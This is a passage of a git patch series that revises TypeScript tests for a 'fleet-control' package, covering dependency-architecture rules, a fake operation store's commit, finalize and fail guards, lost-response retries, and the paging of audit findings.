[]) { + const adjacency = fullAdjacency(report); + assertFollowedImports(adjacency, extraEntries[ruleName] ?? []); + if ( + [ + 'fleet-control-decommission-advance-is-transport-neutral', + 'fleet-control-inventory-advance-is-transport-neutral', + 'fleet-control-operation-advance-avoids-concrete-transports', + 'fleet-control-cleanup-advance-is-transport-neutral', + ].includes(ruleName) + ) { assert.ok( - report.modules.some((module) => module.source === entry), - `extraEntries lists ${entry} for ${ruleName}, which the cruise report does not contain`, + report.summary.violations.some( + (violation) => + violation.rule.name === ruleName && + violation.from === fixture && + violation.to === d1Database, + ), + `${fixture} did not reject the concrete D1 database adapter`, ); + assert.equal(reaches(adjacency, fixture, d1Database), true); } if ( ruleName === 'fleet-control-decommission-state-does-not-reach-provider' @@ -260,7 +408,9 @@ for (const [ruleName, fixture] of Object.entries(controls)) { ), 'decommission advance control did not reject the concrete switch provider', ); - const adjacency = fullAdjacency(report); + assert.equal(reaches(adjacency, fixture, backendSwitch), true); + assert.equal(reaches(adjacency, fixture, switchProvider), true); + assertFollowedImports(adjacency, [backendSwitch, switchProvider]); assert.equal( reaches(adjacency, decommissionAdvance, backendSwitch), false, @@ -269,8 +419,6 @@ for (const [ruleName, fixture] of Object.entries(controls)) { reaches(adjacency, decommissionAdvance, switchProvider), false, ); - assert.equal(reaches(adjacency, fixture, backendSwitch), true); - assert.equal(reaches(adjacency, fixture, switchProvider), true); } if ( ruleName === 'fleet-control-decommission-database-is-provider-neutral' @@ -291,13 +439,14 @@ for (const [ruleName, fixture] of Object.entries(controls)) { `decommission database control did not reject ${target}`, ); } - const adjacency = runtimeAdjacency(report); - assert.deepEqual(reachableFrom(adjacency, decommissionDatabase), [ + assert.equal(adjacency.get(fixture)?.includes(backendSwitch), true); + const runtime = runtimeAdjacency(report); + assert.deepEqual(reachableFrom(runtime, decommissionDatabase), [ databaseExportStore, strictPlainData, ]); assert.equal( - adjacency.get(fixture)?.includes(backendSwitch) ?? false, + runtime.get(fixture)?.includes(backendSwitch) ?? false, false, 'erased fixture edge entered the runtime adjacency map', ); @@ -309,11 +458,10 @@ for (const [ruleName, fixture] of Object.entries(controls)) { 'fleet-control-backend-switch-does-not-reach-its-provider', 'fleet-control-decommission-database-is-provider-neutral', ]); - assert.equal( - reaches(fullAdjacency(report), backendSwitch, switchProvider), - false, - ); - const adjacency = runtimeAdjacency(report); + assert.equal(reaches(adjacency, fixture, backendSwitch), true); + assert.equal(reaches(adjacency, fixture, switchProvider), true); + assertFollowedImports(adjacency, [switchProvider]); + assert.equal(reaches(adjacency, backendSwitch, switchProvider), false); for (const source of [ decommissionAdvance, decommissionDatabase, @@ -323,7 +471,7 @@ for (const [ruleName, fixture] of Object.entries(controls)) { assert.equal( hasCycleThrough(adjacency, source), false, - `${source} entered a runtime cycle`, + `${source} entered a type-inclusive dependency cycle`, ); } } @@ -339,25 +487,19 @@ for (const [ruleName, fixture] of Object.entries(controls)) { ), 'operation advance control did not reject the concrete provider client', ); - // Exhaustive over the rule's own to-set rather than over one member, so - // a real-module reach into any other forbidden target cannot hide behind - // this fixture's violations under the same rule name. The walk is over - // the unfiltered graph, type-only edges included, because that is the - // graph this reachable rule itself walks under tsPreCompilationDeps. + assert.equal(reaches(adjacency, fixture, cloudflareClient), true); const forbidden = new RegExp( architectureRules.find((rule) => rule.name === ruleName).to.path, ); - assert.deepEqual( - reachableFrom(fullAdjacency(report), auditAdvance).filter((module) => - forbidden.test(module), - ), - [], - 'the real operation-advance coordinator reached a forbidden target', - ); - assert.equal( - reaches(runtimeAdjacency(report), fixture, cloudflareClient), - true, - ); + for (const source of [auditAdvance, migrationAdvance]) { + assert.deepEqual( + reachableFrom(adjacency, source).filter((module) => + forbidden.test(module), + ), + [], + `${source} reached a forbidden target`, + ); + } } if (ruleName === 'fleet-control-strict-plain-data-is-import-free') { for (const target of ['cloudflare', 'crypto']) { From 0918ca821b53d4ffe22f9b93a791fe27b61acc06 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 20:20:38 +0400 Subject: [PATCH 088/169] test(fleet-control): make audit fixture failures and retries discriminating --- .../test/fleet-audit-advance.test.ts | 844 ++++++++---------- .../test/fleet-migration-advance.test.ts | 167 ++++ .../test/fleet-operation-state.test.ts | 6 +- 3 files changed, 561 insertions(+), 456 deletions(-) diff --git a/packages/fleet-control/test/fleet-audit-advance.test.ts b/packages/fleet-control/test/fleet-audit-advance.test.ts index 4206b1d1..22868f20 100644 --- a/packages/fleet-control/test/fleet-audit-advance.test.ts +++ b/packages/fleet-control/test/fleet-audit-advance.test.ts @@ -51,6 +51,8 @@ import { FleetOperationTokenOperationError, fleetOperationIntakeDigest, fleetOperationItemsIntake, + fleetOperationOtherKindMessage, + fleetOperationRunRecordFromUnknown, fleetOperationStagedRowFromUnknown, readAllFleetOperationRows, } from '../src/fleet-operation-state.js'; @@ -105,25 +107,18 @@ type RowsPage = Awaited< ReturnType >; -/** - * A view of `store` whose `readOperationRowsPage` answers `transform(page, - * input)` over the page `store` itself produced. Every other member behaves - * as `store`'s does, bound to it — the same Proxy idiom `withoutMethod` uses - * to shape a capability. - * - * `transform` may return a page unrelated to the one it was handed, which is - * how a case models a store that fabricates rows instead of reordering the - * ones it holds. - */ function pageTransformingStore( store: FleetOperationStore, - transform: (page: RowsPage, input: RowsPageInput) => RowsPage, + transform: ( + readPage: () => Promise, + input: RowsPageInput, + ) => RowsPage | Promise, ): FleetOperationStore { return new Proxy(store, { get(target, property, receiver) { if (property === 'readOperationRowsPage') { return async (input: RowsPageInput) => - transform(await target.readOperationRowsPage(input), input); + transform(() => target.readOperationRowsPage(input), input); } const value = Reflect.get(target, property, receiver); return typeof value === 'function' ? value.bind(target) : value; @@ -175,18 +170,28 @@ function baseRecord( }; } -function countPlainDataNodes(value: unknown): number { - let count = 0; +function plainDataMetrics(value: unknown): { + nodeCount: number; + maxStringBytes: number; +} { + let nodeCount = 0; + let maxStringBytes = 0; + const encoder = new TextEncoder(); const pending = [value]; while (pending.length > 0) { const current = pending.pop(); - count += 1; - if (Array.isArray(current)) pending.push(...current); + nodeCount += 1; + if (typeof current === 'string') { + maxStringBytes = Math.max( + maxStringBytes, + encoder.encode(current).byteLength, + ); + } else if (Array.isArray(current)) pending.push(...current); else if (current && typeof current === 'object') { pending.push(...Object.values(current)); } } - return count; + return { nodeCount, maxStringBytes }; } function specForRecord( @@ -788,13 +793,7 @@ class FakeOperationStore implements FleetOperationStore { * into either. */ onNextReadOperationById: (() => void) | undefined; - /** - * When set, the NEXT `commitProgress` applies its write durably and then - * throws this instead of returning it — the lost-RESPONSE failure a - * transport cannot distinguish from a lost request. One-shot, so the retry - * that follows meets an ordinary store. - */ - loseCommitProgressResponse: Error | undefined; + loseNextSuccessfulCommitProgressResponse: Error | undefined; #rowsKey(operationId: string, rowKind: FleetOperationRowKind): string { return `${operationId}:${rowKind}`; @@ -829,13 +828,13 @@ class FakeOperationStore implements FleetOperationStore { stageRows: async (input) => this.#stageRows(input), commitProgress: async (input) => { const committed = await this.#commitProgress(input); - const lost = this.loseCommitProgressResponse; + const lost = this.loseNextSuccessfulCommitProgressResponse; if (lost === undefined) return committed; - this.loseCommitProgressResponse = undefined; + this.loseNextSuccessfulCommitProgressResponse = undefined; throw lost; }, - finalizeOperation: async (input) => this.#finalizeOperation(input), - failOperation: async (input) => this.#failOperation(input), + finalizeOperation: async (input) => this.#finalizeOperation(kind, input), + failOperation: async (input) => this.#failOperation(kind, input), }; try { return await operation(lease); @@ -1109,6 +1108,7 @@ class FakeOperationStore implements FleetOperationStore { } #finalizeOperation( + kind: FleetOperationKind, input: Parameters[0], ): ReturnType { const { @@ -1119,6 +1119,9 @@ class FakeOperationStore implements FleetOperationStore { requireAllItemsComplete, } = input; const current = this.operations.get(operationId); + if (current && current.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(operationId)); + } if ( current?.state !== 'running' || current.progress.revision !== expectedRevision @@ -1164,6 +1167,7 @@ class FakeOperationStore implements FleetOperationStore { } #failOperation( + kind: FleetOperationKind, input: Parameters[0], ): Promise { const { operationId, expectedRevision, runRecord, updateRows = [] } = input; @@ -1171,6 +1175,9 @@ class FakeOperationStore implements FleetOperationStore { throw new Error('failOperation accepts at most one updateRow'); } const current = this.operations.get(operationId); + if (current && current.kind !== kind) { + throw new Error(fleetOperationOtherKindMessage(operationId)); + } if ( current?.state !== 'running' || current.progress.revision !== expectedRevision @@ -1235,54 +1242,173 @@ describe('operation fake guarded progress contract', () => { payload: { ...row.payload, tenantTag: 'other' }, }; - it('orders convergence identities and enforces both watermark writer obligations', async () => { - for (const variant of [ - 'missing-operation', - 'watermark', - 'other-record', - 'different-row', - 'missing-row', - 'converged', - ] as const) { - const store = new FakeOperationStore(); - if (variant !== 'missing-operation') { - store.operations.set( - operationId, - variant === 'other-record' - ? { ...intended, state: 'failed' } - : intended, - ); - } - store.rows.set( - `${operationId}:item`, - variant === 'missing-row' - ? [] - : [variant === 'converged' ? row : different], + it('loses the next successful progress response after a refused commit and accepts its retry', async () => { + const store = new FakeOperationStore(); + store.operations.set(operationId, initial); + store.heads.set('migration', operationId); + const lostResponse = new Error('progress response lost'); + store.loseNextSuccessfulCommitProgressResponse = lostResponse; + await store.withAccountOperationLease('migration', async (lease) => { + const input = { + operationId, + expectedRevision: 0, + runRecord: intended, + rows: [row], + expectedRowWatermarks: { item: 1 }, + }; + const refused = lease.commitProgress({ ...input, expectedRevision: 2 }); + await expect(refused).rejects.toBeInstanceOf(Error); + await expect(refused).rejects.toHaveProperty( + 'message', + `fleet operation '${operationId}' is no longer at the expected revision`, ); - await store.withAccountOperationLease('migration', async (lease) => { - const commit = lease.commitProgress({ - operationId, - expectedRevision: 0, - runRecord: intended, - updateRows: [row], - expectedRowWatermarks: { - item: - variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1, - }, - }); - if (variant === 'converged') { - await expect(commit).resolves.toEqual(intended); - } else { - const message = - variant === 'missing-operation' - ? `no fleet operation '${operationId}'` - : variant === 'different-row' - ? `fleet operation '${operationId}' staged rows diverge from the persisted operation` - : `fleet operation '${operationId}' is no longer at the expected revision`; - await expect(commit).rejects.toThrow(message); - } + expect(store.loseNextSuccessfulCommitProgressResponse).toBe(lostResponse); + expect(store.operations.get(operationId)).toEqual(initial); + expect(store.rows.size).toBe(0); + expect(store.heads.get('migration')).toBe(operationId); + + await expect(lease.commitProgress(input)).rejects.toBe(lostResponse); + expect(store.loseNextSuccessfulCommitProgressResponse).toBeUndefined(); + expect(store.operations.get(operationId)).toEqual(intended); + expect(store.rows.get(`${operationId}:item`)).toEqual([row]); + const operationsBeforeRetry = structuredClone([...store.operations]); + const rowsBeforeRetry = structuredClone([...store.rows]); + const headsBeforeRetry = [...store.heads]; + await expect(lease.commitProgress(input)).resolves.toEqual(intended); + expect([...store.operations]).toEqual(operationsBeforeRetry); + expect([...store.rows]).toEqual(rowsBeforeRetry); + expect([...store.heads]).toEqual(headsBeforeRetry); + }); + }); + + it.each([ + { method: 'finalizeOperation', state: 'running' }, + { method: 'finalizeOperation', state: 'finalized' }, + { method: 'finalizeOperation', state: 'failed' }, + { method: 'failOperation', state: 'running' }, + { method: 'failOperation', state: 'finalized' }, + { method: 'failOperation', state: 'failed' }, + ] as const)('$method refuses a foreign-kind $state record using the captured lease', async ({ + method, + state, + }) => { + const store = new FakeOperationStore(); + const source = state === 'running' ? initial : intended; + store.rows.set(`${operationId}:item`, [row]); + store.heads.set('migration', operationId); + store.heads.set('audit', uuidFor(991)); + store.operations.set( + operationId, + fleetOperationRunRecordFromUnknown({ + ...source, + state, + progress: { + ...source.progress, + ...(state === 'failed' + ? { failure: { reason: 'operator-abandoned' } } + : {}), + ...(state === 'finalized' ? { completedItemCount: 1 } : {}), + }, + }), + ); + const operationsBefore = structuredClone([...store.operations]); + const rowsBefore = structuredClone([...store.rows]); + const headsBefore = [...store.heads]; + await store.withAccountOperationLease('audit', async (lease) => { + const runRecord = fleetOperationRunRecordFromUnknown({ + ...source, + kind: 'audit', + state: method === 'finalizeOperation' ? 'finalized' : 'failed', + progress: { + kind: 'audit', + revision: 1, + stage: { step: 'finalize' }, + generation: 1, + auditTimeMs: 0, + staleAfterMs: 60_000, + recordCount: 0, + findingCount: 0, + factCount: 0, + ...(method === 'failOperation' + ? { failure: { reason: 'operator-abandoned' } } + : {}), + }, }); + const input = { operationId, expectedRevision: 0, runRecord }; + const result = + method === 'finalizeOperation' + ? lease.finalizeOperation({ ...input, expectedRowCounts: {} }) + : lease.failOperation(input); + await expect(result).rejects.toBeInstanceOf(Error); + await expect(result).rejects.toHaveProperty( + 'message', + fleetOperationOtherKindMessage(operationId), + ); + expect([...store.operations]).toEqual(operationsBefore); + expect([...store.rows]).toEqual(rowsBefore); + expect([...store.heads]).toEqual(headsBefore); + }); + }); + + it.each([ + 'missing-operation', + 'watermark', + 'other-record', + 'different-row', + 'missing-row', + 'converged', + ] as const)('orders the %s convergence identity', async (variant) => { + const store = new FakeOperationStore(); + if (variant !== 'missing-operation') { + store.operations.set( + operationId, + variant === 'other-record' + ? { ...intended, state: 'failed' } + : intended, + ); } + store.rows.set( + `${operationId}:item`, + variant === 'missing-row' + ? [] + : [variant === 'converged' ? row : different], + ); + const operationsBefore = structuredClone([...store.operations]); + const rowsBefore = structuredClone([...store.rows]); + await store.withAccountOperationLease('migration', async (lease) => { + const commit = lease.commitProgress({ + operationId, + expectedRevision: 0, + runRecord: intended, + updateRows: + variant === 'different-row' + ? [ + { ...row, ordinal: 1, payload: { ...row.payload, ordinal: 1 } }, + row, + ] + : [row], + expectedRowWatermarks: { + item: variant === 'watermark' ? 2 : variant === 'missing-row' ? 0 : 1, + }, + }); + if (variant === 'converged') { + await expect(commit).resolves.toEqual(intended); + } else { + const message = + variant === 'missing-operation' + ? `no fleet operation '${operationId}'` + : variant === 'different-row' + ? `fleet operation '${operationId}' staged rows diverge from the persisted operation` + : `fleet operation '${operationId}' is no longer at the expected revision`; + await expect(commit).rejects.toBeInstanceOf(Error); + await expect(commit).rejects.toHaveProperty('message', message); + } + }); + expect([...store.operations]).toEqual(operationsBefore); + expect([...store.rows]).toEqual(rowsBefore); + }); + + it('enforces watermark writer obligations', async () => { for (const insert of [false, true]) { const store = new FakeOperationStore(); store.operations.set(operationId, initial); @@ -1305,6 +1431,9 @@ describe('operation fake guarded progress contract', () => { expect(store.operations.get(operationId)).toEqual(initial); expect(store.rows.get(`${operationId}:item`)).toEqual([row]); } + }); + + it('refuses noncontiguous rows and malformed mutations on stale-revision replay', async () => { const replay = new FakeOperationStore(); const secondRow: FleetOperationStagedRow = { ...row, @@ -1529,6 +1658,8 @@ describe('operation fake guarded progress contract', () => { // --------------------------------------------------------------------------- interface Harness { + readonly records: readonly FleetRecord[]; + readonly inventory: FleetResourceInventory; readonly operationStore: FakeOperationStore; readonly inventoryStore: FakeInventoryRunStore; readonly fleetStore: FakeFleetStateStore; @@ -1622,6 +1753,8 @@ function buildHarness( overrides.throwOnEnsureMaintenance, ); return { + records, + inventory, operationStore, inventoryStore, fleetStore, @@ -1759,37 +1892,22 @@ async function startAndDrive( return driveToTerminal(harness, started.token); } -/** The token of a result the caller has already asserted is `pending`. */ function expectPendingToken( result: FleetAuditAdvanceResult, ): PendingFleetAuditAdvance['token'] { + expect(result.status).toBe('pending'); if (result.status !== 'pending') { throw new Error(`expected a pending result, got '${result.status}'`); } return result.token; } -/** - * Runs the whole-fleet drain over `harness`'s resolvers against a FRESH state - * store built from `records` — never the harness's own store, which a bounded - * run may already have re-armed. - * - * `staleAfterMs` and `now` are pinned here because every call site passed the - * same two values. That freezes the DRAIN's clock only: a title comparing the - * two paths under the §5.5 equivalence scope also has to freeze the bounded - * path's, which it does through `buildHarness`. - */ -function drainWith( - harness: Harness, - world: Readonly<{ - records: readonly FleetRecord[]; - inventory: FleetResourceInventory; - }>, -): Promise { +// The bounded run can re-arm maintenance in its Fleet store. +function drainWith(harness: Harness): Promise { return auditFleetDrift({ - store: new FakeFleetStateStore(world.records), - records: world.records, - inventory: world.inventory, + store: new FakeFleetStateStore(harness.records), + records: harness.records, + inventory: harness.inventory, backendFor: () => harness.backend, specFor: (record) => harness.specByTenant.get(record.tenantTag) as DeploymentSpec, @@ -1800,22 +1918,12 @@ function drainWith( }); } -/** - * One INTAKE PREFLIGHT refusal case. Every case drives a single `start` and - * asserts the same two things — the fixed refusal message, and that the - * harness did no work beyond `coordination` — so only the fixture, the - * injected clock, the message and the coordination vary. - * - * `records` BUILDS the fixture and pins whatever properties make the case's - * refusal the only one it can trip; it runs inside the test, so it may - * assert, and a fixture costing megabytes is never built during collection. - */ interface PreflightRefusalCase { readonly name: string; /** The fleet the harness starts from; the inventory is derived from it. */ readonly fleet: readonly FleetRecord[]; readonly operationId: string; - readonly records: () => readonly FleetRecord[]; + readonly intake: () => readonly FleetRecord[]; readonly generation?: number; readonly auditClock?: () => number; readonly message: string; @@ -1893,7 +2001,6 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - expect(started.status).toBe('pending'); // Real time moves far past staleAfterMs before the per-record stage runs. clock = AUDIT_NOW + 10 * STALE_AFTER_MS; const result = await driveToTerminal(harness, expectPendingToken(started)); @@ -1922,14 +2029,6 @@ describe('advanceFleetAudit', () => { const first = await advanceFleetAudit(harness.baseOptions(action)); expect(first.status).toBe('pending'); expect(harness.inventoryStore.latestFinalizedGenerationCalls).toBe(1); - // §11 says `latestFinalizedGeneration` is "instrumented to fail the - // test if invoked". The store cannot recognise a replay by itself, so the - // trap is armed HERE — once this title's single legitimate call has - // returned — and stays armed for the rest of it. Every later call below - // (two continues, `driveToTerminal`, the terminal replay, the cross-kind - // refusal) resolves its generation from the PERSISTED record, so any hit - // on this seam is the re-read the title exists to forbid. The call-count - // assertions stay as belt-and-braces. harness.inventoryStore.latestFinalizedGenerationError = new Error( 'latestFinalizedGeneration must not be called once the operation exists', ); @@ -2389,16 +2488,19 @@ describe('advanceFleetAudit', () => { it('the legacy staleAfterMs refusal message', async () => { const alice = baseRecord('alice'); const harness = buildHarness([alice], inventoryFor([alice])); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId: uuidFor(17), - records: [alice], - staleAfterMs: 0, - }), - ), - ).rejects.toThrow('staleAfterMs must be a positive safe integer'); + const attempt = advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(17), + records: [alice], + staleAfterMs: 0, + }), + ); + await expect(attempt).rejects.toBeInstanceOf(Error); + await expect(attempt).rejects.toHaveProperty( + 'message', + 'staleAfterMs must be a positive safe integer', + ); }); it('item-bound refusal at 10,001', async () => { @@ -2406,16 +2508,17 @@ describe('advanceFleetAudit', () => { baseRecord(`tenant${i}`), ); const harness = buildHarness([], emptyInventory()); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId: uuidFor(18), - records: many, - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow( + const attempt = advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(18), + records: many, + staleAfterMs: STALE_AFTER_MS, + }), + ); + await expect(attempt).rejects.toBeInstanceOf(Error); + await expect(attempt).rejects.toHaveProperty( + 'message', `fleet audit start accepts at most ${FLEET_OPERATION_ITEM_BOUND} records`, ); }); @@ -2438,16 +2541,17 @@ describe('advanceFleetAudit', () => { FLEET_OPERATION_RECORD_ROW_BYTE_BOUND, ); const harness = buildHarness([], emptyInventory()); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId: uuidFor(19), - records: many, - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow( + const attempt = advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: uuidFor(19), + records: many, + staleAfterMs: STALE_AFTER_MS, + }), + ); + await expect(attempt).rejects.toBeInstanceOf(Error); + await expect(attempt).rejects.toHaveProperty( + 'message', 'fleet audit start canonical intake exceeds the intake byte bound', ); }); @@ -2455,16 +2559,19 @@ describe('advanceFleetAudit', () => { it("'operationId' validation refusal at start", async () => { const alice = baseRecord('alice'); const harness = buildHarness([alice], inventoryFor([alice])); - await expect( - advanceFleetAudit( - harness.baseOptions({ - kind: 'start', - operationId: 'not-a-uuid', - records: [alice], - staleAfterMs: STALE_AFTER_MS, - }), - ), - ).rejects.toThrow('operationId must be a lowercase UUIDv4'); + const attempt = advanceFleetAudit( + harness.baseOptions({ + kind: 'start', + operationId: 'not-a-uuid', + records: [alice], + staleAfterMs: STALE_AFTER_MS, + }), + ); + await expect(attempt).rejects.toBeInstanceOf(Error); + await expect(attempt).rejects.toHaveProperty( + 'message', + 'operationId must be a lowercase UUIDv4', + ); }); it('the per-record chunk performs exactly one inspect + at most one re-arm (instrumented)', async () => { @@ -2765,10 +2872,7 @@ describe('advanceFleetAudit', () => { auditClock: () => AUDIT_NOW, authorityClock: () => AUDIT_NOW, }); - const drainFindings = await drainWith(harness, { - records: [first, second], - inventory, - }); + const drainFindings = await drainWith(harness); const operationId = uuidFor(26); await startAndDrive(harness, operationId, [first, second]); const page = await readFleetAuditFindingsPage(harness.operationStore, { @@ -2809,7 +2913,6 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - expect(started.status).toBe('pending'); harness.inventoryStore.unreadableGenerations.add(1); const result = await driveToTerminal(harness, expectPendingToken(started)); expect(result.status).toBe('failed'); @@ -2934,7 +3037,6 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - expect(started.status).toBe('pending'); harness.inventoryStore.unreadableGenerations.add(1); const failed = await driveToTerminal(harness, expectPendingToken(started)); expect(failed.status).toBe('failed'); @@ -2959,7 +3061,6 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - expect(started.status).toBe('pending'); await expect( readFleetAuditFindingsPage(harness.operationStore, { operationId, @@ -2976,9 +3077,6 @@ describe('advanceFleetAudit', () => { }); expect(page.done).toBe(true); - // FINDINGS PAGE ORDER (round 9): the port lets a page arrive in any - // order; the reader still returns the drain's (ordinal) order, and the - // next-cursor idiom pages the whole set through such a store. const control = baseRecord('control28'); const missingA = baseRecord('missing28a'); const missingB = baseRecord('missing28b'); @@ -2997,7 +3095,9 @@ describe('advanceFleetAudit', () => { artifactVersion: 'v1', schemaVersion: 1, }); - const orderedHarness = buildHarness(orderedRecords, orderedInventory); + const orderedHarness = buildHarness(orderedRecords, orderedInventory, { + auditClock: () => AUDIT_NOW + STALE_AFTER_MS + 60_001, + }); const orderedOperationId = uuidFor(3128); const complete = await startAndDrive( orderedHarness, @@ -3010,18 +3110,13 @@ describe('advanceFleetAudit', () => { { operationId: orderedOperationId, limit: 1_000 }, ); expect(ascending.done).toBe(true); - // EXACT, not a floor: this world produces one `orphan-deployment` for - // the injected ghost, one `missing-deployment` and one - // `missing-namespace` for each of the two records absent from the - // inventory, and one `maintenance-stale` for `control28` (this title - // injects no clock, so `HEALTHY_MAINTENANCE`'s sweep timestamps are long - // past by wall-clock time). A floor would keep the reversed-store - // comparison below non-vacuous while letting the world drift underneath - // it; the count is what that comparison actually rests on. expect(ascending.findings.length).toBe(6); const reversedStore = pageTransformingStore( orderedHarness.operationStore, - (rowsPage) => ({ ...rowsPage, rows: [...rowsPage.rows].reverse() }), + async (readPage) => { + const rowsPage = await readPage(); + return { ...rowsPage, rows: [...rowsPage.rows].reverse() }; + }, ); await expect( readFleetAuditFindingsPage(reversedStore, { @@ -3031,14 +3126,7 @@ describe('advanceFleetAudit', () => { ).resolves.toEqual(ascending); const paged: (typeof ascending.findings)[number][] = []; let afterOrdinal: number | undefined; - // Feeding `nextAfterOrdinal` straight back is the documented idiom, so the - // cursor the reader publishes — not a formula this loop recomputes — is - // what has to advance. A cursor that stops advancing would spin this loop - // forever, so the page count is capped. Every non-final page carries at - // least one finding, so an honest read needs at most one page per finding, - // plus one more page for a store that reports `done` only on a following - // empty page: that extra slot is why the cap is `length + 1` rather than - // `length`, and a tightening to `length` would break a legal store. + // A store can report done on a following empty page. const pageCap = ascending.findings.length + 1; let reachedDone = false; for (let page = 0; page < pageCap; page += 1) { @@ -3067,7 +3155,9 @@ describe('advanceFleetAudit', () => { const missingA = baseRecord('missing29a'); const missingB = baseRecord('missing29b'); const records = [control, missingA, missingB]; - const harness = buildHarness(records, inventoryFor([control])); + const harness = buildHarness(records, inventoryFor([control]), { + auditClock: () => AUDIT_NOW + STALE_AFTER_MS + 60_001, + }); const operationId = uuidFor(90); const complete = await startAndDrive(harness, operationId, records); expect(complete.status).toBe('complete'); @@ -3077,40 +3167,25 @@ describe('advanceFleetAudit', () => { { operationId, limit: 1_000 }, ); expect(conforming.done).toBe(true); - // EXACT, not a floor: the same shape as the preceding title's world - // minus its injected ghost deployment — one `missing-deployment` and one - // `missing-namespace` per absent record, plus `control29`'s - // `maintenance-stale`. Every case below slices or reorders this page, so - // its length is the world they all rest on. expect(conforming.findings.length).toBe(5); - // The cursor is read off the page's own rows, so a caller never recomputes - // it from the prose formula. A full first page ends at length - 1. This - // pins one full page's value only; the paging loop at the end of the - // preceding test is what discriminates a published cursor from a - // recomputed formula. expect(conforming.nextAfterOrdinal).toBe(conforming.findings.length - 1); - // Shapes a page the store would not have produced. The refusal cases - // below return pages the port FORBIDS, and every one must reach - // `malformed()` rather than a truncated, duplicated, or non-terminating - // read; the two acceptance cases after them return pages the port PERMITS - // and nothing else pinned. const shapedPage = ( transform: ( rows: readonly FleetOperationStagedRow[], ) => readonly FleetOperationStagedRow[], done?: boolean, ) => - pageTransformingStore(harness.operationStore, (rowsPage) => ({ - ...rowsPage, - rows: transform(rowsPage.rows), - done: done ?? rowsPage.done, - })); + pageTransformingStore(harness.operationStore, async (readPage) => { + const rowsPage = await readPage(); + return { + ...rowsPage, + rows: transform(rowsPage.rows), + done: done ?? rowsPage.done, + }; + }); const malformedMessage = 'fleet operation state is malformed'; - // EMPTY-PAGE GUARD: an empty page while the store still claims more rows is - // the condition `readAllFleetOperationRows` already refuses. Without this - // guard the published next-cursor loop spins forever against such a store. await expect( readFleetAuditFindingsPage( shapedPage(() => [], false), @@ -3121,7 +3196,6 @@ describe('advanceFleetAudit', () => { ), ).rejects.toThrow(malformedMessage); - // CONTIGUOUS-RUN GUARD, gap: ordinal 1 withheld. await expect( readFleetAuditFindingsPage( shapedPage((rows) => rows.filter((row) => row.ordinal !== 1)), @@ -3129,8 +3203,6 @@ describe('advanceFleetAudit', () => { ), ).rejects.toThrow(malformedMessage); - // CONTIGUOUS-RUN GUARD, duplicate: a repeated ordinal keeps the page length - // right, so only the run assertion catches it. await expect( readFleetAuditFindingsPage( shapedPage((rows) => [...rows.slice(0, -1), ...rows.slice(0, 1)]), @@ -3138,8 +3210,6 @@ describe('advanceFleetAudit', () => { ), ).rejects.toThrow(malformedMessage); - // CONTIGUOUS-RUN GUARD, not the smallest qualifying ordinals: the store - // skipped ordinal 0 instead of returning it first. await expect( readFleetAuditFindingsPage( shapedPage((rows) => rows.filter((row) => row.ordinal !== 0)), @@ -3147,7 +3217,6 @@ describe('advanceFleetAudit', () => { ), ).rejects.toThrow(malformedMessage); - // CONTIGUOUS-RUN GUARD, row at or below the exclusive cursor. await expect( readFleetAuditFindingsPage( shapedPage((rows) => @@ -3157,12 +3226,6 @@ describe('advanceFleetAudit', () => { ), ).rejects.toThrow(malformedMessage); - // PORT-PERMITTED SHAPE, a non-final page SHORTER than `limit`. The reader - // refuses only an EMPTY unfinished page, never a short one, so this page - // is legal and must come back with its cursor. The `done: false` ARM is - // already driven by the preceding title's `limit: 2` paging loop — but - // only ever by FULL pages; nothing until here accepts a short one, which - // is the shape the advance-by-length idiom most depends on. const shortNonFinal = await readFleetAuditFindingsPage( shapedPage((rows) => rows.slice(0, 1), false), { operationId, limit: 1_000 }, @@ -3171,10 +3234,6 @@ describe('advanceFleetAudit', () => { expect(shortNonFinal.findings).toEqual(conforming.findings.slice(0, 1)); expect(shortNonFinal.nextAfterOrdinal).toBe(0); - // PORT-PERMITTED SHAPE, an ARBITRARY permutation. The reader sorts before - // it checks contiguity, so every order the port permits is accepted — not - // just the reversal the preceding title uses. A left rotation of the five - // findings this world holds is neither ascending nor descending. await expect( readFleetAuditFindingsPage( shapedPage((rows) => [...rows.slice(1), ...rows.slice(0, 1)]), @@ -3182,8 +3241,6 @@ describe('advanceFleetAudit', () => { ), ).resolves.toEqual(conforming); - // A conforming empty page is legal only because it is terminal, and it - // carries no cursor: that absence is why the field must stay optional. const emptyHarness = buildHarness([], emptyInventory()); const emptyOperationId = uuidFor(91); const emptyRun = await startAndDrive(emptyHarness, emptyOperationId, []); @@ -3231,7 +3288,7 @@ describe('advanceFleetAudit', () => { authorityClock: () => AUDIT_NOW, }); - const drainFindings = await drainWith(harness, { records, inventory }); + const drainFindings = await drainWith(harness); const operationId = uuidFor(32); const result = await startAndDrive(harness, operationId, records); @@ -3356,7 +3413,7 @@ describe('advanceFleetAudit', () => { auditClock: () => AUDIT_NOW, authorityClock: () => AUDIT_NOW, }); - const drainFindings = await drainWith(harness, { records, inventory }); + const drainFindings = await drainWith(harness); const operationId = uuidFor(34); await startAndDrive(harness, operationId, records); const page = await readFleetAuditFindingsPage(harness.operationStore, { @@ -3396,7 +3453,6 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - expect(started.status).toBe('pending'); let token = expectPendingToken(started); const stages: string[] = []; for (let i = 0; i < 20; i++) { @@ -3438,30 +3494,20 @@ describe('advanceFleetAudit', () => { staleAfterMs: STALE_AFTER_MS, }), ); - expect(started.status).toBe('pending'); const startedToken = 